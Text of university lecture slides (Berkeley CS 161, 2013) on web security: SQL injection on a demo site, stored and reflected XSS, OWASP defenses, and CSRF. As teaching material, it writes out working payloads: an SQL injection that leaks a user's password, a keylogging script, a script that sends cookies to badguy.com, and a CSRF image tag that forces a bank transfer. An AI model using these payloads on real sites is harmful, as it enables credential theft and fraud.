Web Security, con’t

CS 161: Computer Security
Prof. Vern Paxson

TAs: Jethro Beekman, Mobin Javed,
Antonio Lupher, Paul Pearce
& Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/

February 28, 2013
Goals For Today

• Make SQL injection attacks concrete

• Cross-site scripting (**XSS**): tricking browsers into giving undue access to attacker’s Javascript
  – *Stored* XSS: attacker leaves Javascript lying around on benign web service for victim to stumble across
  – *Reflected* XSS: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back

• Revisit of **CSRF** (Cross-Site Request Forgery)

• And/or driveby attacks
Welcome to the Amazing World Of Squigler ...
Demo Tools

• **Squigler**
  – Cool “localhost” web site(s) (Python/SQLite)
  – Developed by Arel Cordero, Ph.D.
  – I’ll put a copy on the class page in case you’d like to play with it

• **Bro**: freeware network monitoring tool ([bro.org](http://bro.org))
  – Scriptable
  – Primarily designed for real-time intrusion detection
  – Will put copy of (simple) script on class page
  – bro.org
SQL Injection: Summary

- **Target**: web server that uses a back-end database
- **Attacker goal**: inject or modify database commands to either read or alter web-site information
- **Attacker tools**: ability to send requests to web server (e.g., via an ordinary browser)
- **Key trick**: web server allows characters in attacker’s input to be interpreted as SQL control elements rather than simply as data
# Some Squigler Database Tables

<table>
<thead>
<tr>
<th>username</th>
<th>body</th>
<th>time</th>
</tr>
</thead>
<tbody>
<tr>
<td>ethan</td>
<td><em>My first squig!</em></td>
<td>2013-02-27 21:51:52</td>
</tr>
<tr>
<td>cathy</td>
<td><em>@ethan: borrr-ing!</em></td>
<td>2013-02-27 21:52:06</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
def post_squig(user, squig):
    if not user or not squig: return
    conn = sqlite3.connect(DBFN)
    c = conn.cursor()
    c.executescript("INSERT INTO squigs VALUES ('%s', '%s', datetime('now'));")
    conn.commit()
    c.close()

Server code for posting a “squig”

Syntax error

INSERT INTO squigs VALUES (dilbert, 'don\t contractions work?', date);
## Squigler Database Tables, con’t

<table>
<thead>
<tr>
<th>Accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
</tr>
<tr>
<td>dilbert</td>
</tr>
<tr>
<td>alice</td>
</tr>
<tr>
<td>…</td>
</tr>
</tbody>
</table>

INSERT INTO squigs VALUES 
    (dilbert, '' || (select (username || '_' || password) from accounts where username='bob') || '',
    date);
INSERT INTO squigs VALUES
  (dilbert, '|| (select (username || '_' || password) from accounts where username='bob') || ',
   date);

Empty string literals
INSERT INTO squigs VALUES
dilbert, '' || (select (username || '.' || password) from accounts where username='bob') || '',
date);

A blank separator, just for tidiness
INSERT INTO squigs VALUES
  (dilbert, (select (username || '‑' || password) from accounts where username='bob'),
   date);

**Concatenation operator.**

Concatenation of string $S$ with empty string is just $S$

INSERT INTO squigs VALUES
  (dilbert, (select (username || '‑' || password) from accounts where username='bob'),
   date);

**Value of the squig will be Bob’s username and password!**
Dynamic Web Pages

• Rather than static HTML, web pages can be expressed as a program, say written in Javascript:

```html
<title>Javascript demo page</title>

<font size=30>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ", a+b, "</b>");
</script>
```
Javascript

• Powerful web page *programming language*
• Scripts are embedded in web pages returned by web server
• Scripts are *executed* by browser. Can:
  – Alter page contents
  – Track events (mouse clicks, motion, keystrokes)
  – Read/set cookies
  – Issue web requests, read replies
• *(Note: despite name, has nothing to do with Java!)*
Confining the Power of Javascript Scripts

• Given all that power, browsers need to make sure JS scripts don’t abuse it

• For example, don’t want a script sent from hackerz.com web server to read cookies belonging to bank.com ...

• … or alter layout of a bank.com web page

• … or read keystrokes typed by user while focus is on a bank.com page!
Same Origin Policy

• Browsers provide isolation for JS scripts via the **Same Origin Policy (SOP)**

• Simple version:
  – Browser associates web page elements (layout, cookies, events) with a given *origin* ≈ web server that provided the page/cookies in the first place
    • Identity of web server is in terms of its hostname, e.g., bank.com

• SOP = *only scripts received from a web page’s origin have access to page’s elements*
XSS: Subverting the Same Origin Policy

• It’d be **Bad** if an attacker from evil.com can fool your browser into executing script of their choice …
  – … with your browser believing the script’s origin to be some other site, like bank.com

• One nasty/general approach for doing so is **trick** the server of interest (e.g., bank.com) to actually send the attacker’s script to your browser!
  – Then no matter how carefully your browser checks, it’ll view script as from the same origin (because it is!) …
  – … and give it all that powerful/nasty access

• Such attacks are termed **Cross-Site Scripting (XSS)**
### XSS Archive

#### Syndicate

<table>
<thead>
<tr>
<th>Date</th>
<th>Author</th>
<th>Domain</th>
<th>R</th>
<th>S</th>
<th>F</th>
<th>PR</th>
<th>Category</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/02/11</td>
<td>LostBrilliance</td>
<td>audience.cnn.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>21/02/11</td>
<td>db</td>
<td>freedns.afraid.org</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>19/02/11</td>
<td>h3rcul3s</td>
<td>cwg2010.indianexpress.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>18/02/11</td>
<td>Yeyah</td>
<td>app.email.skype.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>17/02/11</td>
<td>warvector</td>
<td><a href="http://www.level3.com">www.level3.com</a></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>17/02/11</td>
<td>SeeMe</td>
<td>api.screenname.aol.com</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>XSS</td>
<td>mirror</td>
</tr>
</tbody>
</table>

You can subscribe to our [mailing list](mailto:xss@xssed.com) to receive alerts by mail.
Two Types of XSS (Cross-Site Scripting)

- There are two main types of XSS attacks
- In a *stored* (or “persistent”) XSS attack, the attacker leaves their script lying around on bank.com server
  - ... and the server later unwittingly sends it to your browser
  - Your browser is none the wiser, and executes it within the same origin as the bank.com server
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)
Stored XSS (Cross-Site Scripting)
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com to server Patsy/Victim.
   - Server Patsy/Victim sends content with injected malicious script to User Victim.
   - Attack Browser/Server (evil.com) is responsible for injecting the malicious script into the server's response to User Victim.

User Victim: Victim
Server Patsy/Victim: Patsy/Victim
Attack Browser/Server: evil.com
bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script on evil.com
2. Request content
3. Receive malicious script
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - Inject malicious script

2. User Victim
   - request content

3. Server Patsy/Victim
   - receive malicious script

4. User Victim
   - execute script embedded in input as though server meant us to run it
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script from evil.com
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
6. Steal valuable data

Server Patsy/Victim

Attack Browser/Server

User Victim
Stored XSS (Cross-Site Scripting)

And/Or:

E.g., GET http://evil.com/steal/document.cookie

User Victim

Attack Browser/Server

Server Patsy/Victim

1. evil.com

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action

6. steal valuable data

malicious script

bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. request content
3. receive malicious script
4. execute script embedded in input as though server meant us to run it
5. perform attacker action
6. steal valuable data

(A “stored” XSS attack)
Stored XSS: Summary

- **Target**: user with Javascript-enabled browser who visits user-generated-content page on vulnerable web service

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)

- **Attacker tools**: ability to leave content on web server page (e.g., via an ordinary browser); optionally, a server used to receive stolen information such as cookies

- **Key trick**: server fails to ensure that content uploaded to page does not contain embedded scripts

- **Notes**: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript
Demo on

(1) *Finding* and

(2) *Exploiting*

*Stored XSS vulnerabilities*


Squig that does key-logging of anyone viewing it!

Keys pressed: <span id="keys"></span>

<script>
    document.onkeypress = function(e) {
        get = window.event?event:e;
        key = get.keyCode?get.keyCode:get.charCode;
        key = String.fromCharCode(key);
        document.getElementById("keys").innerHTML += key + ", " ;
    }
</script>
Two Types of XSS (Cross-Site Scripting)

- There are two main types of XSS attacks
- In a *stored* (or “persistent”) XSS attack, the attacker leaves their script lying around on bank.com server
  - ... and the server later unwittingly sends it to your browser
  - Your browser is none the wiser, and executes it within the same origin as the bank.com server

- In a *reflected* XSS attack, the attacker gets you to send the bank.com server a URL that has a Javascript script crammed into it ...
  - ... and the server echoes it back to you in its response
  - Your browser is none the wiser, and executes the script in the response within the same origin as bank.com
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. Visit web site

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server: evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Server Patsy/Victim

Attack Server

Victim client

bank.com

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data

And/Or:
- Visit web site: evil.com
- Visit web site: bank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

Server Patsy/Victim

Attack Server

(evil.com) (bank.com)

("Reflected" XSS attack)
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example*: search field
  - search.php responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>  
    <BODY>  
    Results for $term :  
    . . .  
    </BODY>  </HTML>
    ```

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

```
  <script> window.open(
    "http://badguy.com?cookie = " + 
    document.cookie ) </script>
```

What if user clicks on this link?
1) Browser goes to victim.com/search.php?...
2) victim.com returns

```html
<HTML> Results for <script> ... </script> ...
```
3) Browser executes script in same origin as victim.com
   Sends badguy.com cookie for victim.com
Reflected XSS: Summary

- **Target**: user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own

- **Notes**: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript
Demo on

(1) Finding and
(2) Exploiting

Reflected XSS vulnerabilities
Protecting Servers Against XSS (OWASP)

• OWASP = *Open Web Application Security Project*
• The best way to protect against XSS attacks:
Protecting Servers Against XSS (OWASP)

• OWASP = *Open Web Application Security Project*

• The best way to protect against XSS attacks:
  – Ensure that your app *validates* all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be *allowed*.
Protecting Servers Against XSS (OWASP)

• OWASP = *Open Web Application Security Project*
• The best way to protect against XSS attacks:
  – Ensure that your app *validates* all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be *allowed*.
  – *Do not* attempt to identify active content and remove, filter, or *sanitize* it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
Protecting Servers Against XSS (OWASP)

- OWASP = *Open Web Application Security Project*
- The best way to protect against XSS attacks:
  - Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  - Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  - We [= OWASP] strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

*Client-side?* HARD
Web Accesses w/ Side Effects

• Recall our earlier banking URL:
  
  http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob

• So what happens if we visit evilsite.com, which includes:
  
  <img src="http://mybank.com/moneyxfer.cgi?Account=alice&amt=500000&to=DrEvil">

• Cross-Site Request Forgery (CSRF) attack
CSRF: Summary

- **Target**: user who has some sort of account on a vulnerable server where requests from the user’s browser to the server have a *predictable structure*

- **Attacker goal**: make requests to the server via the user’s browser that look to server like user *intended* to make them

- **Attacker tools**: ability to get user to visit a web page under the attacker’s control

- **Key tricks**: (1) requests to web server have *predictable structure*; (2) use of `<IMG SRC=...>` or such to force victim’s browser to issue such a (predictable) request

- **Notes**: (1) do not confuse with Cross-Site Scripting (XSS); (2) attack only requires HTML, no need for Javascript
URL fetch for posting a squig

GET /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
&squig=squigs+speak+a+deep+truth
COOKIE: "session_id=5321506"

Web action with predictable structure
GET /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
  &squig=squigs+speak+a+deep+truth
COOKIE: "session_id=5321506"

Authenticated with cookie that browser automatically sends along